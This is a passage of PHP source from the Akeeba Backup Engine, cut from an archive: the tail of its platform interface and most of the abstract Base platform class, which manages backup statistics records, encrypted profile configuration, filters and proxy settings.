	function get_statistics_count($filters = null);

	/**
	 * Returns an array with the specifics of running backups
	 *
	 * @param   string  $tag  The backup type (e.g. backend)
	 *
	 * @return  array
	 */
	public function get_running_backups($tag = null);

	/**
	 * Multiple backup attempts can share the same backup file name. Only
	 * the last backup attempt's file is considered valid. Previous attempts
	 * have to be deemed "obsolete". This method returns a list of backup
	 * statistics ID's with "valid"-looking names. IT DOES NOT CHECK FOR THE
	 * EXISTENCE OF THE BACKUP FILE!
	 *
	 * @param   bool    $useprofile   If true, it will only return backup records of the current profile
	 * @param   array   $tagFilters   Which tags to include; leave blank for all. If the first item is "NOT", then all
	 *                                tags EXCEPT those listed will be included.
	 * @param   string  $ordering     Ordering of the records, default DESC (descending), use DESC or ASC
	 *
	 * @return  array    A list of ID's for records w/ "valid"-looking backup files
	 */
	public function &get_valid_backup_records($useprofile = false, $tagFilters = [], $ordering = 'DESC');

	/**
	 * Invalidates older records sharing the same $archivename
	 *
	 * @param   string  $archivename  The archive name
	 *
	 * @return  void
	 */
	public function remove_duplicate_backup_records($archivename);

	/**
	 * Marks the specified backup records as having no files
	 *
	 * @param   array  $ids  Array of backup record IDs to ivalidate
	 *
	 * @return  void
	 */
	public function invalidate_backup_records($ids);

	/**
	 * Gets a list of records with remotely stored files in the selected remote storage
	 * provider and profile.
	 *
	 * @param   int     $profile   (optional) The profile to use. Skip or use null for active profile.
	 * @param   string  $engine    (optional) The remote engine to looks for. Skip or use null for the active profile's
	 *                             engine.
	 *
	 * @return  array
	 */
	public function get_valid_remote_records($profile = null, $engine = null);

	/**
	 * Returns the filter data for the entire filter group collection
	 *
	 * @return  array
	 */
	public function &load_filters();

	/**
	 * Saves the nested filter data array $filter_data to the database
	 *
	 * @param   array  $filter_data  The filter data to save
	 *
	 * @return  bool  True on success
	 */
	public function save_filters(&$filter_data);

	/**
	 * Gets the best matching database driver class, according to CMS settings
	 *
	 * @param   bool  $use_platform     If set to false, it will forcibly try to assign one of the primitive type
	 *                                  (Mysql/Mysqli) and NEVER tell you to use an platform driver
	 *
	 * @return  string
	 */
	public function get_default_database_driver($use_platform = true);

	/**
	 * Returns a set of options to connect to the default database of the current CMS
	 *
	 * @return  array
	 */
	public function get_platform_database_options();

	/**
	 * Provides a platform-specific translation function
	 *
	 * @param   string  $key  The translation key
	 *
	 * @return  string
	 */
	public function translate($key);

	/**
	 * Populates global constants holding the Akeeba version
	 *
	 * @return  void
	 */
	public function load_version_defines();

	/**
	 * Returns the platform name and version
	 *
	 * @return  array  Contains the platform name and version
	 */
	public function getPlatformVersion();

	/**
	 * Logs platform-specific directories with LogLevel::INFO log level
	 *
	 * @return  string  If there are any extra notes / warnings on this platform
	 */
	public function log_platform_special_directories();

	/**
	 * Loads a platform-specific software configuration option. These are
	 * configuration values for the backup engine, but unlike the rest of the
	 * configuration options they are not stored in the backup profile.
	 * Instead, these are stored globally using a platform-specific method.
	 * So these are not configuration values for the platform itself.
	 *
	 * @param   string  $key      The configuration option to retrieve
	 * @param   mixed   $default  The default value to return if it's not defined
	 *
	 * @return  mixed
	 */
	public function get_platform_configuration_option($key, $default);

	/**
	 * Returns a list of emails to the administrators
	 *
	 * @return  array
	 */
	public function get_administrator_emails();

	/**
	 * Sends a very simple email using the platform's emailer facility
	 *
	 * @param   string  $to          Recipient address
	 * @param   string  $subject     Email subject line
	 * @param   string  $body        Email body (plain text)
	 * @param   string  $attachFile  (optional) Full path to the file being attached
	 *
	 * @return  bool  True on success
	 */
	public function send_email($to, $subject, $body, $attachFile = null);

	/**
	 * Deletes a file from the local server using direct file access or FTP
	 *
	 * @param   string  $file  The file to unlink
	 *
	 * @return  bool  True on success
	 */
	public function unlink($file);

	/**
	 * Moves a file around within the local server using direct file access or FTP
	 *
	 * @param   string  $from  Full path of the file to move
	 * @param   string  $to    Full path of where the file will be moved to
	 *
	 * @return  bool  True on success
	 */
	public function move($from, $to);

	/**
	 * Stores a flash (temporary) variable in the session.
	 *
	 * @param   string  $name   The name of the variable to store
	 * @param   string  $value  The value of the variable to store
	 *
	 * @return  void
	 */
	public function set_flash_variable($name, $value);

	/**
	 * Return the value of a flash (temporary) variable from the session and
	 * immediately removes it.
	 *
	 * @param   string  $name     The name of the flash variable
	 * @param   mixed   $default  Default value, if the variable is not defined
	 *
	 * @return  mixed  The value of the variable or $default if it's not set
	 */
	public function get_flash_variable($name, $default = null);

	/**
	 * Perform an immediate redirection to the defined URL
	 *
	 * @param   string  $url  The URL to redirect to
	 *
	 * @return  void
	 */
	public function redirect($url);

	/**
	 * Get the proxy configuration for this platform.
	 *
	 * @return  array{enabled: bool, host: string, port: int, user: string, pass: string}
	 * @since   9.0.7
	 */
	public function getProxySettings();

	/**
	 * Set the proxy configuration for this platform
	 *
	 * @param   false   $useProxy  Should I use a proxy at all?
	 * @param   string  $host      Proxy hostname or IP address
	 * @param   int     $port      Proxy port
	 * @param   string  $username  Proxy username. Optional. Leavel blank to turn off authentication.
	 * @param   string  $password  Proxy password.
	 *
	 * @return  void
	 * @since   9.0.7
	 */
	public function setProxySettings($useProxy = false, $host = '', $port = 8080, $username = '', $password = '');
}
com_akeeba/BackupEngine/Platform/Base.php000060400000072161152455305260014326 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Platform;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Mysqli;
use Akeeba\Engine\Driver\QueryException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform\Exception\DecryptionException;
use Akeeba\Engine\Util\ProfileMigration;
use DateTime;
use DateTimeZone;
use Exception;
use RuntimeException;

abstract class Base implements PlatformInterface
{
	/** @var array Configuration overrides */
	public $configOverrides = [];

	/** @var bool Should I throw an exception when settings decryption fails? */
	public $decryptionException = false;

	/** @var string The name of the platform (same as the directory name) */
	public $platformName = null;

	/** @var int Priority of this platform. A lower number denotes higher priority. */
	public $priority = 50;

	/** @var string The name of the table where backup profiles are stored */
	public $tableNameProfiles = '#__ak_profiles';

	/** @var string The name of the table where backup records are stored */
	public $tableNameStats = '#__ak_stats';

	/** @var bool Have I initialised the proxy configuration settings? */
	protected $hasInitialisedProxySettings = false;

	/** @var bool Should I use a proxy? */
	protected $proxyEnabled = false;

	/** @var string Proxy hostname or IP address */
	protected $proxyHost = '';

	/** @var string Proxy password; only applied with a non-empty username */
	protected $proxyPass = '';

	/** @var int Proxy port */
	protected $proxyPort = 8080;

	/** @var string Proxy username; empty means no authentication */
	protected $proxyUser = '';

	/**
	 * Completely removes a backup statistics record
	 *
	 * @param   int  $id  Backup record ID
	 *
	 * @return bool True on success
	 */
	public function delete_statistics($id)
	{
		$db    = Factory::getDatabase($this->get_platform_database_options());
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->delete($db->qn($this->tableNameStats))
			->where($db->qn('id') . ' = ' . $db->q($id));
		$db->setQuery($query);

		$result = true;
		try
		{
			$db->query();
		}
		catch (Exception $exc)
		{
			$result = false;
		}

		return $result;
	}

	public function getPlatformDirectories()
	{
		return [dirname(__FILE__) . '/' . $this->platformName];
	}

	public function getPlatformVersion()
	{
		return [
			'name'    => 'Platform',
			'version' => 'unknown',
		];
	}

	/**
	 * @inheritdoc
	 */
	public final function getProxySettings()
	{
		if (!$this->hasInitialisedProxySettings)
		{
			$this->detectProxySettings();
		}

		return [
			'enabled' => $this->proxyEnabled ?? false,
			'host'    => $this->proxyHost ?: '',
			'port'    => $this->proxyPort ?: 8080,
			'user'    => $this->proxyUser ?: '',
			'pass'    => $this->proxyPass ?: '',
		];
	}

	public function get_active_profile()
	{
		return 1;
	}

	public function get_administrator_emails()
	{
		return [];
	}

	public function get_backup_origin()
	{
		return 'backend';
	}

	public function get_default_database_driver($use_platform = true)
	{
		return Mysqli::class;
	}

	public function get_host()
	{
		return '';
	}

	public function get_installer_images_path()
	{
		return '';
	}

	public function get_local_timestamp($format)
	{
		$dateNow = new DateTime('now', new DateTimeZone('UTC'));

		return $dateNow->format($format);
	}

	public function get_platform_configuration_option($key, $default)
	{
		return '';
	}

	public function get_platform_database_options()
	{
		return [];
	}

	public function get_profile_name($id = null)
	{
		return '';
	}

	/**
	 * Returns an array with the specifics of running backups
	 *
	 * @param   string  $tag
	 *
	 * @return  array   Array list of associative arrays
	 * @throws  QueryException
	 *
	 */
	public function get_running_backups($tag = null)
	{
		$db    = Factory::getDatabase($this->get_platform_database_options());
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('*')
			->from($db->qn($this->tableNameStats))
			->where($db->qn('status') . ' = ' . $db->q('run'))
			->where(' NOT ' . $db->qn('archivename') . ' = ' . $db->q(''));
		if (!empty($tag))
		{
			$query->where($db->qn('origin') . ' LIKE ' . $db->q($tag . '%'));
		}
		$db->setQuery($query);

		return $db->loadAssocList();
	}

	public function get_site_name()
	{
		return '';
	}

	public function get_site_root()
	{
		return '';
	}

	/**
	 * Loads and returns a backup statistics record as a hash array
	 *
	 * @param   int  $id  Backup record ID
	 *
	 * @return array
	 */
	public function get_statistics($id)
	{
		$db    = Factory::getDatabase($this->get_platform_database_options());
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('*')
			->from($db->qn($this->tableNameStats))
			->where($db->qn('id') . ' = ' . $db->q($id));
		$db->setQuery($query);

		return $db->loadAssoc();
	}

	/**
	 * Return the total number of statistics records
	 *
	 * @param   array  $filters  An array of filters to apply to the results. Alternatively you can just pass a profile
	 *                           ID to filter by that profile.
	 *
	 * @return int
	 */
	function get_statistics_count($filters = null)
	{
		$db = Factory::getDatabase($this->get_platform_database_options());

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true));

		if (!empty($filters))
		{
			if (is_array($filters))
			{
				if (!empty($filters))
				{
					// Parse the filters array
					foreach ($filters as $f)
					{
						$clause = $db->quoteName($f['field']);
						if (array_key_exists('operand', $f))
						{
							$clause .= ' ' . strtoupper($f['operand']) . ' ';
						}
						else
						{
							$clause .= ' = ';
						}
						if ($f['operand'] == 'BETWEEN')
						{
							$clause .= $db->q($f['value']) . ' AND ' . $db->q($f['value2']);
						}
						elseif ($f['operand'] == 'LIKE')
						{
							$clause .= '\'%' . $db->escape($f['value']) . '%\'';
						}
						else
						{
							$clause .= $db->q($f['value']);
						}
						$query->where($clause);
					}
				}
			}
			else
			{
				// Legacy mode: profile ID given
				$query->where($db->qn('profile_id') . ' = ' . $db->q($filters));
			}
		}

		$query->select('COUNT(*)')
			->from($db->quoteName($this->tableNameStats));
		$db->setQuery($query);

		return $db->loadResult();
	}

	/**
	 * Returns a list of backup statistics records, respecting the pagination
	 *
	 * The $config array allows the following options to be set:
	 * limitstart    int        Offset in the recordset to start from
	 * limit        int        How many records to return at once
	 * filters        array    An array of filters to apply to the results. Alternatively you can just pass a profile
	 * ID to filter by that profile. order        array    Record ordering information (by and ordering)
	 *
	 * @return array
	 */
	function &get_statistics_list($config = [])
	{
		$defaultConfiguration = [
			'limitstart' => 0,
			'limit'      => 0,
			'filters'    => [],
			'order'      => null,
		];
		$config               = (object) array_merge($defaultConfiguration, $config);

		$db = Factory::getDatabase($this->get_platform_database_options());

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true));

		if (!empty($config->filters))
		{
			if (is_array($config->filters))
			{
				if (!empty($config->filters))
				{
					// Parse the filters array
					foreach ($config->filters as $f)
					{
						$clause = $db->qn($f['field']);
						if (array_key_exists('operand', $f))
						{
							$clause .= ' ' . strtoupper($f['operand']) . ' ';
							if ($f['operand'] == 'BETWEEN')
							{
								$clause .= $db->q($f['value']) . ' AND ' . $db->q($f['value2']);
							}
							elseif ($f['operand'] == 'LIKE')
							{
								$clause .= '\'%' . $db->escape($f['value']) . '%\'';
							}
							else
							{
								$clause .= $db->q($f['value']);
							}
						}
						else
						{
							$clause .= ' = ' . $db->q($f['value']);
						}

						$query->where($clause);
					}
				}
			}
			else
			{
				// Legacy mode: profile ID given
				$query->where($db->qn('profile_id') . ' = ' . $db->q($config->filters));
			}
		}

		if (empty($config->order) || !is_array($config->order))
		{
			$config->order = [
				'by'    => 'id',
				'order' => 'DESC',
			];
		}

		$query->select('*')
			->from($db->qn($this->tableNameStats))
			->order($db->qn($config->order['by']) . " " . strtoupper($config->order['order']));

		$db->setQuery($query, $config->limitstart, $config->limit);

		$list = $db->loadAssocList();

		return $list;
	}

	public function get_stock_directories()
	{
		return [];
	}

	public function get_timestamp_database($date = 'now')
	{
		return '';
	}

	/**
	 * Multiple backup attempts can share the same backup file name. Only
	 * the last backup attempt's file is considered valid. Previous attempts
	 * have to be deemed "obsolete". This method returns a list of backup
	 * statistics ID's with "valid"-looking names. IT DOES NOT CHECK FOR THE
	 * EXISTENCE OF THE BACKUP FILE!
	 *
	 * @param   bool    $useprofile  If true, it will only return backup records of the current profile
	 * @param   array   $tagFilters  Which tags to include; leave blank for all. If the first item is "NOT", then all
	 *                               tags EXCEPT those listed will be included.     *
	 * @param   string  $ordering
	 *
	 * @return  array A list of ID's for records w/ "valid"-looking backup files
	 * @throws  QueryException
	 *
	 */
	public function &get_valid_backup_records($useprofile = false, $tagFilters = [], $ordering = 'DESC')
	{
		$db = Factory::getDatabase($this->get_platform_database_options());

		$query2 = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('MAX(' . $db->qn('id') . ') AS ' . $db->qn('id'))
			->from($db->qn($this->tableNameStats))
			->where($db->qn('status') . ' = ' . $db->q('complete'))
			->group($db->qn('absolute_path'));

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('id'))
			->from($db->qn($this->tableNameStats))
			->where($db->qn('filesexist') . ' = ' . $db->q(1))
			->where($db->qn('id') . ' IN (' . $query2 . ')')
			->where('NOT ' . $db->qn('absolute_path') . ' = ' . $db->q(''))
			->order($db->qn('id') . ' ' . $ordering);

		if ($useprofile)
		{
			$profile_id = $this->get_active_profile();
			$query->where($db->qn('profile_id') . " = " . $db->q($profile_id));
		}

		if (!empty($tagFilters))
		{
			$operator = '';
			$first    = array_shift($tagFilters);
			if ($first == 'NOT')
			{
				$operator = 'NOT';
			}
			else
			{
				array_unshift($tagFilters, $first);
			}

			$quotedTags = [];
			foreach ($tagFilters as $tag)
			{
				$quotedTags[] = $db->q($tag);
			}
			$filter = implode(', ', $quotedTags);
			unset($quotedTags);
			$query->where($operator . ' ' . $db->quoteName('tag') . ' IN (' . $filter . ')');
		}

		$db->setQuery($query);
		$array = $db->loadColumn();

		return $array;
	}

	/**
	 * Gets a list of records with remotely stored files in the selected remote storage
	 * provider and profile.
	 *
	 * @param $profile int (optional) The profile to use. Skip or use null for active profile.
	 * @param $engine  string (optional) The remote engine to looks for. Skip or use null for the active profile's
	 *                 engine.
	 *
	 * @return array
	 */
	public function get_valid_remote_records($profile = null, $engine = null)
	{
		$config = Factory::getConfiguration();
		$result = [];

		if (is_null($profile))
		{
			$profile = $this->get_active_profile();
		}
		if (is_null($engine))
		{
			$engine = $config->get('akeeba.advanced.postproc_engine', '');
		}

		if (empty($engine))
		{
			return $result;
		}

		$db  = Factory::getDatabase($this->get_platform_database_options());
		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('*')
			->from($db->qn($this->tableNameStats))
			->where($db->qn('profile_id') . ' = ' . $db->q($profile))
			->where($db->qn('remote_filename') . ' LIKE ' . $db->q($engine . '://%'))
			->order($db->qn('id') . ' DESC');

		$db->setQuery($sql);

		return $db->loadAssocList();
	}

	/**
	 * Marks the specified backup records as having no files
	 *
	 * @param   array  $ids  Array of backup record IDs to ivalidate
	 */
	public function invalidate_backup_records($ids)
	{
		if (empty($ids))
		{
			return false;
		}
		$db   = Factory::getDatabase($this->get_platform_database_options());
		$temp = [];
		foreach ($ids as $id)
		{
			$temp[] = $db->q($id);
		}
		$list = implode(',', $temp);
		$sql  = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->qn($this->tableNameStats))
			->set($db->qn('filesexist') . ' = ' . $db->q('0'))
			->where($db->qn('id') . ' IN (' . $list . ')');;
		$db->setQuery($sql);

		try
		{
			$db->query();
		}
		catch (Exception $exc)
		{
			return false;
		}

		return true;
	}

	public function isThisPlatform()
	{
		return true;
	}

	/**
	 * Loads the current configuration off the database table
	 *
	 * @param   int   $profile_id  The profile where to read the configuration from, defaults to current profile
	 * @param   bool  $reset       Should I reset the Configuration object before loading the profile? Default: true.
	 *
	 * @return  bool  True if everything was read properly
	 */
	public function load_configuration($profile_id = null, $reset = true)
	{
		// Load the database class
		$db = Factory::getDatabase($this->get_platform_database_options());

		// Get the active profile number, if no profile was specified
		if (is_null($profile_id))
		{
			$profile_id = $this->get_active_profile();
		}

		// Initialize the registry
		$registry = Factory::getConfiguration();

		if ($reset)
		{
			$registry->reset();
		}

		// Is the database connected?
		if (!$db->connected())
		{
			return false;
		}

		try
		{
			// Load the INI format local configuration dump off the database
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select($db->qn('configuration'))
				->from($db->qn($this->tableNameProfiles))
				->where($db->qn('id') . ' = ' . $db->q($profile_id));

			$databaseData = $db->setQuery($sql)->loadResult();
		}
		catch (Exception $e)
		{
			$databaseData = null;
		}

		/**
		 * If the profile is not the default and we can't load anything let's switch back to the default profile.
		 *
		 * You will end up here when you have opened the application in two different browsers and Browser A is used to
		 * delete the active profile you were using with Browser B. If we were not to load the default profile Browser B
		 * would try to save the default configuration data to the deleted profile. However, since the profile does not
		 * exist in the database any more the load_configuration at the end of the following if-block would trigger the
		 * same code path, recursively, infinitely until you reached the maximum nesting level in PHP, run out of memory
		 * or hit the execution time limit.
		 */
		if ((empty($databaseData) || is_null($databaseData)) && ($profile_id != 1))
		{
			return $this->load_configuration(1);
		}

		if (empty($databaseData) || is_null($databaseData))
		{
			// No configuration was saved yet - store the defaults
			$saved = $this->save_configuration($profile_id);

			// If this is the case we probably don't have the necessary table. Throw an exception.
			if (!$saved)
			{
				throw new RuntimeException("Could not save data to backup profile #$profile_id", 500);
			}

			return $this->load_configuration($profile_id);
		}

		// Decrypt the data if required
		$secureSettings = Factory::getSecureSettings();
		$noData         = empty($databaseData);
		$signature      = ($noData || (strlen($databaseData) < 12)) ? '' : substr($databaseData, 0, 12);
		$parsedData     = [];

		/**
		 * Special case: profile data is encrypted but encryption is set to false. This means that the user has just
		 * asked for the encryption to be disabled. We have to NOT load the settings so that the application has the
		 * chance to decode the data and write the decoded data back to the database.
		 */

		if (!$secureSettings->supportsEncryption() && in_array($signature, ['###AES128###', '###CTR128###']))
		{
			$dataArray = ['volatile' => ['fake_decrypt_flag' => 1]];
		}
		else
		{
			$databaseData        = $secureSettings->decryptSettings($databaseData);
			$isMigrationRequired = false; // Do I have to migrate the data from INI to JSON
			$corruptedINI        = false; // Is the INI data corrupted?

			// Handle legacy, INI-encoded data
			if (ProfileMigration::looksLikeIni($databaseData))
			{
				$isMigrationRequired = true;
				$corruptedINI        = strpos($databaseData, '[akeeba]') === false;
				$databaseData        = ProfileMigration::convertINItoJSON($databaseData);
			}

			// Detect corrupt JSON data
			$corruptedJSON = strpos($databaseData, '"akeeba"') === false;

			// Did the decryption fail and we were asked to throw an exception?
			if ($this->decryptionException && !$noData)
			{
				// The decryption failed, it returned empty data
				if (!$isMigrationRequired && empty($databaseData))
				{
					throw new DecryptionException(
						$this->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION') .
						"\nAdditional info: Empty data after decryption."
					);
				}

				// We tried to migrate but the INI data is corrupt
				if ($isMigrationRequired && $corruptedINI)
				{
					throw new DecryptionException(
						$this->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION') .
						"\nAdditional info: old format INI data was corrupt and could not be migrated to JSON."
					);
				}

				// We tried to migrate but the resulting JSON data is corrupt
				if ($isMigrationRequired && $corruptedJSON)
				{
					throw new DecryptionException(
						$this->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION') .
						"\nAdditional info: JSON data was corrupt after migrating it from INI data."
					);
				}

				// We decrypted something but it does not look like JSON. Wrong encryption key?
				if ($corruptedJSON)
				{
					throw new DecryptionException(
						$this->translate('COM_AKEEBA_CONFIG_ERR_DECRYPTION') .
						"\nAdditional info: configuration JSON data was corrupt after decryption."
					);
				}
			}

			$dataArray = json_decode($databaseData, true);
		}

		unset($databaseData);

		if (!is_array($dataArray))
		{
			$dataArray = [];
		}

		foreach ($dataArray as $section => $row)
		{
			if ($section == 'volatile')
			{
				continue;
			}

			$row = $this->arrayToRegistryDefinitions($row);

			if (is_array($row) && !empty($row))
			{
				foreach ($row as $key => $value)
				{
					$parsedData["$section.$key"] = $value;
				}
			}
		}

		unset($dataArray);

		// Import the configuration array
		$protected_keys = $registry->getProtectedKeys();
		$registry->resetProtectedKeys();
		$registry->mergeArray($parsedData, false, false);

		// Old profiles have advanced.proc_engine instead of advanced.postproc_engine. Migrate them.
		$procEngine = $registry->get('akeeba.advanced.proc_engine', null);

		if (!empty($procEngine))
		{
			$registry->set('akeeba.advanced.postproc_engine', $procEngine);
			$registry->set('akeeba.advanced.proc_engine', null);
		}

		// Apply config overrides
		if (is_array($this->configOverrides) && !empty($this->configOverrides))
		{
			$registry->mergeArray($this->configOverrides, false, false);
		}

		$registry->setProtectedKeys($protected_keys);
		$registry->activeProfile = $profile_id;

		return true;
	}

	/**
	 * Returns the filter data for the entire filter group collection
	 *
	 * @return array
	 */
	public function &load_filters()
	{
		// Load the filter data from the database
		$profile_id = $this->get_active_profile();
		$db         = Factory::getDatabase($this->get_platform_database_options());

		// Load the INI format local configuration dump off the database
		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('filters'))
			->from($db->qn($this->tableNameProfiles))
			->where($db->qn('id') . ' = ' . $db->q($profile_id));
		$db->setQuery($sql);
		$all_filter_data = $db->loadResult();

		if (is_null($all_filter_data) || empty($all_filter_data))
		{
			$all_filter_data = [];

			return $all_filter_data;
		}

		if (ProfileMigration::looksLikeSerialized($all_filter_data))
		{
			$all_filter_data = ProfileMigration::convertSerializedToJSON($all_filter_data);
		}

		$all_filter_data = json_decode($all_filter_data, true);

		// Catch unserialization errors
		if (empty($all_filter_data))
		{
			$all_filter_data = [];
		}

		return $all_filter_data;
	}

	public function load_version_defines()
	{
	}

	public function log_platform_special_directories()
	{
	}

	public function move($from, $to)
	{
		$result = @rename($from, $to);
		if (!$result)
		{
			$result = @copy($from, $to);
			if ($result)
			{
				$result = $this->unlink($from);
			}
		}

		return $result;
	}

	public function register_autoloader()
	{
	}

	/**
	 * Invalidates older records sharing the same $archivename
	 *
	 * @param   string  $archivename
	 */
	public function remove_duplicate_backup_records($archivename)
	{
		Factory::getLog()->debug("Removing any old records with $archivename filename");
		$db = Factory::getDatabase($this->get_platform_database_options());

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('id'))
			->from($db->qn($this->tableNameStats))
			->where($db->qn('archivename') . ' = ' . $db->q($archivename))
			->order($db->qn('id') . ' DESC');

		$db->setQuery($query);
		$array = $db->loadColumn();

		Factory::getLog()->debug((is_array($array) || $array instanceof \Countable ? count($array) : 0) . " records found");

		// No records?! Quit.
		if (empty($array))
		{
			return;
		}
		// Only one record. Quit.
		if ((is_array($array) || $array instanceof \Countable ? count($array) : 0) == 1)
		{
			return;
		}

		// Shift the first (latest) element off the array
		$currentID = array_shift($array);

		// Invalidate older records
		$this->invalidate_backup_records($array);
	}

	/**
	 * Saves the current configuration to the database table
	 *
	 * @param   int  $profile_id  The profile where to save the configuration to, defaults to current profile
	 *
	 * @return    bool    True if everything was saved properly
	 */
	public function save_configuration($profile_id = null)
	{
		// Load the database class
		$db = Factory::getDatabase($this->get_platform_database_options());

		if (!$db->connected())
		{
			return false;
		}

		// Get the active profile number, if no profile was specified
		if (is_null($profile_id))
		{
			$profile_id = $this->get_active_profile();
		}

		// Get an INI format registry dump
		$registry     = Factory::getConfiguration();
		$dump_profile = $registry->exportAsJSON();

		// Encrypt the registry dump if required
		$secureSettings = Factory::getSecureSettings();
		$dump_profile   = $secureSettings->encryptSettings($dump_profile);

		// Does the record already exist?
		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('COUNT(*)')
			->from($db->qn($this->tableNameProfiles))
			->where($db->qn('id') . ' = ' . $db->q($profile_id));

		try
		{
			$count  = $db->setQuery($sql)->loadResult();
			$exists = ($count > 0);
		}
		catch (Exception $e)
		{
			$exists = true;
		}

		if ($exists)
		{
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->qn($this->tableNameProfiles))
				->set($db->qn('configuration') . ' = ' . $db->q($dump_profile))
				->where($db->qn('id') . ' = ' . $db->q($profile_id));
		}
		else
		{
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->insert($db->qn($this->tableNameProfiles))
				->columns([
					$db->qn('id'), $db->qn('description'), $db->qn('configuration'),
					$db->qn('filters'), $db->qn('quickicon'),
				])
				->values(
					$db->q(1) . ', ' .
					$db->q("Default backup profile") . ', ' .
					$db->q($dump_profile) . ', ' .
					$db->q('') . ', ' .
					$db->q(1)
				);
		}

		$db->setQuery($sql);

		try
		{
			$result = $db->query();
		}
		catch (Exception $exc)
		{
			return false;
		}

		return ($result == true);
	}

	/**
	 * Saves the nested filter data array $filter_data to the database
	 *
	 * @param   array  $filter_data  The filter data to save
	 *
	 * @return    bool    True on success
	 */
	public function save_filters(&$filter_data)
	{
		$profile_id = $this->get_active_profile();
		$db         = Factory::getDatabase($this->get_platform_database_options());

		$encodedFilterData = json_encode($filter_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_FORCE_OBJECT | JSON_PRETTY_PRINT);

		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->qn($this->tableNameProfiles))
			->set($db->qn('filters') . '=' . $db->q($encodedFilterData))
			->where($db->qn('id') . ' = ' . $db->q($profile_id));

		try
		{
			$db->setQuery($sql)->query();
		}
		catch (Exception $exc)
		{
			return false;
		}

		return true;
	}

	public function send_email($to, $subject, $body, $attachFile = null)
	{
		return false;
	}

	/** @inheritdoc */
	public final function setProxySettings($useProxy = false, $host = '', $port = 8080, $username = '', $password = '')
	{
		$host = trim($host);
		$port = (int) $port;

		$this->hasInitialisedProxySettings = true;
		$this->proxyEnabled                = $useProxy && !empty($host) && ($port > 0) && ($port < 65536);
		$this->proxyHost                   = $host;
		$this->proxyPort                   = $port;
		$this->proxyUser                   = trim($username ?? '') ?: '';
		$this->proxyPass                   = trim($password ?? '') ?: '';
	}

	/**
	 * Creates or updates the statistics record of the current backup attempt
	 *
	 * @param   int    $id    Backup record ID, use null for new record
	 * @param   array  $data  The data to store
	 *
	 * @return int|null The new record id, or null if this doesn't apply
	 *
	 * @throws Exception On database error
	 */
	public function set_or_update_statistics($id = null, $data = [])
	{
		// No valid data?
		if (!is_array($data))
		{
			return null;
		}

		// No data at all?
		if (empty($data))
		{
			return null;
		}

		$db = Factory::getDatabase($this->get_platform_database_options());

		$tableFields = $db->getTableColumns($this->tableNameStats);
		$tableFields = array_keys($tableFields);

		if (is_null($id))
		{
			// Create a new record
			$sql_fields = [];
			$sql_values = '';

			foreach ($data as $key => $value)
			{
				if (!in_array($key, $tableFields))
				{
					continue;
				}

				$sql_fields[] = $db->qn($key);
				$sql_values   .= (!empty($sql_values) ? ',' : '') . $db->quote($value);
			}

			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->insert($db->quoteName($this->tableNameStats))
				->columns($sql_fields)
				->values($sql_values);

			$db->setQuery($sql);
			$db->query();

			return $db->insertid();
		}
		else
		{
			$sql_set = [];
			foreach ($data as $key => $value)
			{
				if ($key == 'id')
				{
					continue;
				}

				$sql_set[] = $db->qn($key) . '=' . $db->q($value);
			}
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->qn($this->tableNameStats))
				->set($sql_set)
				->where($db->qn('id') . '=' . $db->q($id));
			$db->setQuery($sql);
			$db->query();

			return null;
		}
	}

	public function translate($key)
	{
		return '';
	}

	public function unlink($file)
	{
		return @unlink($file);
	}

	/**
	 * Flattens a hierarchical array to a set of registry keys.
	 *
	 * For example
	 * [ 'foo' => [ 'bar' => [ 'baz' => 1, 'bat' => 2 ] ] ]
	 * becomes
	 * [ 'foo.bar.baz' => 1, 'foo.bar.bat' => 2 ]
	 *
	 * @param   array   $array   The array to flatten
	 * @param   string  $prefix  The prefix to use (leave blank; it's used in recursive calls)
	 *
	 * @return  array  An array with flattened keys
	 *
	 * @since   6.4.1
	 */
	protected function arrayToRegistryDefinitions(array $array, $prefix = '')
	{
		$keys = [];

		foreach ($array as $k => $v)
		{
			if (is_array($v))
			{
				$keys = array_merge($keys, $this->arrayToRegistryDefinitions($v, $prefix . $k . "."));

				continue;
			}

			$keys[$prefix . $k] = $v;
		}

